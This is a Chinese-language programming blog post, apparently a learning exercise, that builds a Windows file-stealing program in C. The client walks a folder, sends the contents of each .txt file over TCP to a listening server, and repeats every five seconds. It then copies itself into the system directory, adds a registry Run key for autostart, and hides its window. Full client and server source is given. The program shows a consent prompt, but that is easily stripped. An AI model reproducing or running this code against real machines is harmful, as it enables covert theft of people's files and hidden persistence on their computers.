前言
socket的基础语法看过了,但是要说掌握那也是没掌握住~往下看用到再补。
正文
当然基础的截取,肯定先知道ip地址,然后权限开放程度高点。
1 2 3 4 5 6
| int main(){ printf("Steal start!\n"); DoSteal("E:\\mysdk\\");
return 0; }
|
“E:/mysdk”,使用反斜杠的做法同样有效,似乎是起源于unix写法,linux也很好的传承了,比如/etc/hosts之类的,而双斜杠自然是为了转译,毕竟单斜杠就会转译后面的字符了,如果是中文那才是真的gg。
客户端
能够多次使用,就做一个函数,传递的自然是文件路径,就用字符串,为了保证不被修改,加上const修饰
1 2 3 4 5 6 7 8
| int DoSteal(const char *filePath){ WIN32_FIND_DATA FindFileData; HANDLE hListFile;
char searFilePath[MAX_PATH]; }
|
善用工具和文档,可以节省一些问题。
1 2 3 4 5 6 7 8 9 10 11
| int DoSteal(const char *filePath){ WIN32_FIND_DATA FindFileData; HANDLE hListFile;
char searFilePath[MAX_PATH] = {0}; strcpy(searFilePath, filePath); strcat(searFilePath, "\\*"); FindFirstFile((LPCTSTR)searFilePath, &FindFileData); }
|
searFilePath毕竟是char类型,要么强转,要么修改项目字符类型为多字节吧。
然后这边编译器其实会对strcpy和strcat报错,原因在于vs认为这俩函数不安全,建议你用_s的函数,但是这里不考虑这么搞,就强制取消对这个
4996问题报错,把它关了。
然后在编译就没啥问题了。
额,这边后面有报错字符类型转换问题,那干脆还是修改项目字符类型为多字节吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int DoSteal(const char *filePath){ WIN32_FIND_DATA FindFileData; HANDLE hListFile;
char searFilePath[MAX_PATH] = {0}; strcpy(searFilePath, filePath); strcat(searFilePath, "\\*"); hListFile = FindFirstFile(searFilePath, &FindFileData);
do { char mypath[MAX_PATH] = { 0 }; strcpy(mypath, filePath); strcat(mypath, FindFileData.cFileName); printf("mypath = %s\n",mypath); } while (FindNextFile(hListFile,&FindFileData));
return 0; }
|
然后跑一遍
看到结果是正常的。
路径显示正常了,就需要读出单个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| int DoSteal(const char *filePath){ WIN32_FIND_DATA FindFileData; HANDLE hListFile;
char searFilePath[MAX_PATH] = {0}; strcpy(searFilePath, filePath); strcat(searFilePath, "\\*"); hListFile = FindFirstFile(searFilePath, &FindFileData);
do { char mypath[MAX_PATH] = { 0 }; strcpy(mypath, filePath); strcat(mypath, FindFileData.cFileName); if (strstr(mypath, ".txt")){ SendtoServer(mypath); printf("mypath = %s\n", mypath); } } while (FindNextFile(hListFile,&FindFileData));
return 0; }
|
调用自定义函数,估计也要通过c/s模式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| int SendtoServer(const char *_mypath){ WORD wVersionRequested; WSADATA wsaData; int err;
wVersionRequested = MAKEWORD(2, 2); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0){ printf("WSAStartup errorNum = %d\n", GetLastError()); return err; } if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2){ printf("LOBYTE errorNum = %d\n", GetLastError()); WSACleanup(); return -1; }
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0); if (INVALID_SOCKET == sockCli){ printf("socket errorNum = %d\n", GetLastError()); return -1; }
SOCKADDR_IN addrSer; addrSer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); addrSer.sin_family = AF_INET; addrSer.sin_port = htons(6000);
if (SOCKET_ERROR == connect(sockCli, (SOCKADDR *)&addrSer, sizeof(SOCKADDR))){ printf("connect errorNum = %d\n", GetLastError()); return -1; }
char sendBuf[1024] = { 0 }; FILE *fp = fopen(_mypath, "rb"); int len = fread(sendBuf, 1, 1024, fp); fclose(fp);
int iLen = send(sockCli, (char *)sendBuf, 100, 0); if (iLen < 0){ printf("send erroNum = %d\n", GetLastError()); return -1; }
closesocket(sockCli); WSACleanup(); return 0; }
|
与之前tcp客户端不同的是此处不需要接受数据,因为传递是通过形参的。
完整的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| #include <stdio.h> #include <windows.h> #pragma comment(lib,"ws2_32.lib")
int SendtoServer(const char *_mypath){ WORD wVersionRequested; WSADATA wsaData; int err;
wVersionRequested = MAKEWORD(2, 2); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0){ printf("WSAStartup errorNum = %d\n", GetLastError()); return err; } if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2){ printf("LOBYTE errorNum = %d\n", GetLastError()); WSACleanup(); return -1; }
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0); if (INVALID_SOCKET == sockCli){ printf("socket errorNum = %d\n", GetLastError()); return -1; }
SOCKADDR_IN addrSer; addrSer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); addrSer.sin_family = AF_INET; addrSer.sin_port = htons(6000);
if (SOCKET_ERROR == connect(sockCli, (SOCKADDR *)&addrSer, sizeof(SOCKADDR))){ printf("connect errorNum = %d\n", GetLastError()); return -1; }
char sendBuf[1024] = { 0 }; FILE *fp = fopen(_mypath, "rb"); int len = fread(sendBuf, 1, 1024, fp); fclose(fp);
int iLen = send(sockCli, (char *)sendBuf, 100, 0); if (iLen < 0){ printf("send erroNum = %d\n", GetLastError()); return -1; }
closesocket(sockCli); WSACleanup(); return 0; }
int DoSteal(const char *filePath){ WIN32_FIND_DATA FindFileData; HANDLE hListFile;
char searFilePath[MAX_PATH] = {0}; strcpy(searFilePath, filePath); strcat(searFilePath, "\\*"); hListFile = FindFirstFile(searFilePath, &FindFileData);
do { char mypath[MAX_PATH] = { 0 }; strcpy(mypath, filePath); strcat(mypath, FindFileData.cFileName); if (strstr(mypath, ".txt")){ SendtoServer(mypath); printf("mypath = %s\n", mypath); } } while (FindNextFile(hListFile,&FindFileData));
return 0; }
int main(){ printf("Steal start!\n"); DoSteal("E:/mysdk/");
return 0; }
|
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| #include <stdio.h> #include <WinSock2.h> #pragma comment(lib,"ws2_32.lib") #define MAX_SIZE 1024
void ErrorHanding(const char *_msg){ fputs(_msg, stderr); fputc('\n', stderr); exit(1); }
int main(){ WORD wVersionRequested; WSADATA wsaData; int err; char msg[MAX_SIZE] = { 0 };
wVersionRequested = MAKEWORD(2, 2); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0){ ErrorHanding("WSAtartup error!"); } if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2){ ErrorHanding("LOBYTE error!"); WSACleanup(); return -1; }
SOCKET sockSer = socket(PF_INET, SOCK_STREAM, 0); if (INVALID_SOCKET == sockSer){ ErrorHanding("socket error!"); }
SOCKADDR_IN addrSer; addrSer.sin_addr.S_un.S_addr = htonl(INADDR_ANY); addrSer.sin_family = AF_INET; addrSer.sin_port = htons(6000);
if (SOCKET_ERROR == bind(sockSer, (SOCKADDR *)&addrSer, sizeof(SOCKADDR))){ ErrorHanding("bind error"); }
if (SOCKET_ERROR == listen(sockSer, 5)){ ErrorHanding("listen error"); }
SOCKADDR_IN addCli; int cliSize = sizeof(SOCKADDR_IN); SOCKET cliSock; int strLen = 0;
while (true){ cliSock = accept(sockSer, (SOCKADDR *)&addCli, &cliSize); if (INVALID_SOCKET == cliSock){ ErrorHanding("accept error!"); }
memset(msg, 0, MAX_SIZE);
while ((strLen = recv(cliSock,msg,MAX_SIZE,0)) != 0){ printf("server msg:%s\n", msg); } closesocket(cliSock); } closesocket(sockSer); WSACleanup();
return 0; }
|
也是稍微做了一些优化
1 2 3 4 5 6
| void ErrorHanding(const char *_msg){ fputs(_msg, stderr); fputc('\n', stderr); exit(1); }
|
像这种处理错误的时候,每次提示错误,return -1也麻烦,干脆封装到函数里。
测试
先调整一下客户端,做一个持续延时发送
1 2 3 4 5 6 7 8 9 10
| int main(){ printf("Steal start!\n");
while (true){ DoSteal("E:/mysdk/"); Sleep(5000); } return 0; }
|
然后先跑到debug文件夹启动服务器
在vs中跑客户端程序
可以看到持续发送之后,因为文件夹里面就放了一个.txt文件,所以一直都是读取这个文件。
然后可以多创几个txt试试
现在一共三个.txt文件,然后在循环跑出其中的内容。
中文乱码跟文件编码有关系,txt默认可能是utf-8,然后vs的项目我也忘看改成啥了多字节还是Unicode,倒不是啥大问题,通信正常就行。
算了还是改一下吧,将项目修改成多字节,然后文件另存为的时候可以修改编码,或者你有notepad的话可以直接改,记事本好像只能另存为的时候改。
改完之后再跑一次
可以看到没问题,中文显示正常。
printf可能会有缓冲的问题,可能表现在打印很多次之后会卡住一会。
那么则可能要用puts之类直接打印字符串的。虽然都差不多。目前是不关注了。
1、不同的换行符
puts()函数会自动在字符串末尾添加一个换行符,这意味着它会自动换行,而printf()函数没有此功能。
2、输出内容不同
puts()函数只能输出字符串,不能对输出和转换指令进行标准化,而printf()函数可以。
隐藏和自启动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| void AddToSystem(){ HKEY hkey; char currenPath[MAX_PATH] = { 0 }; char systemPath[MAX_PATH] = { 0 }; long ret = 0; LPSTR FileNewName; LPSTR FileCurrentName; DWORD type = REG_SZ; DWORD size = MAX_PATH; LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
GetSystemDirectory(systemPath, size); GetModuleFileName(NULL, currenPath, size);
FileCurrentName = currenPath; FileNewName = lstrcat(systemPath, "\\Steal.exe"); struct _finddata_t Steal; printf("ret1 = %d\n", ret); if (_findfirst(FileNewName, &Steal) != -1) return; printf("ret2 = %d\n", ret);
int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n 继续运行该程序将使得这台电脑处于被监控状态,\n 如果您不想这样,请点击\'取消\'按钮推出。\n 按下\'是\'则该程序将被复制到您的机器上 \ \ 并随着系统启动自动运行。\n 按下\'否\'则程序只运行一次,不会再您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
if (ihow == IDCANCEL){ exit(0); }
if (ihow == IDNO){ return; }
ret = CopyFile(FileCurrentName, FileNewName, TRUE); if (!ret){ return; }
printf("ret = %d\n", ret); ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hkey); if (ret != ERROR_SUCCESS){ RegCloseKey(hkey); return; }
ret = RegSetValueEx(hkey, "Steal", NULL, type, (const unsigned char *)FileNewName, size); if (ret != ERROR_SUCCESS){ RegCloseKey(hkey); return; }
RegCloseKey(hkey); }
|
这个写进注册表的真的是又臭又长。。。说白了还是不会用直接抄。
编译后记住要管理员启动才能到那一步,不然权限不够。
1 2 3 4 5
| void HideMyself(){ HWND hwnd = GetForegroundWindow(); ShowWindow(hwnd, SW_HIDE); }
|
隐藏就比较直接,通过获取当前窗口句柄,直接调用现成的隐藏掉。
可以看到先开服务器之后,客户端启用直接闪烁就隐藏了,连接的消息还是在持续发送的一个状态。
结语
- 文件遍历,能够第一时间想起
WIN32_FIND_DATA
结构体
WIN32_FIND_DATA
包含了文件名和文件信息,创建时间,访问时间等
- 句柄——指针 用来表示windows下的一些对象
- MAX_PATH 预定义的宏,260
- 禁用特定警告,比如没有使用_s的安全函数
- 隐藏窗口其实挺好记的,注册表这个要多用或者查查文档,感觉也没必要死记硬背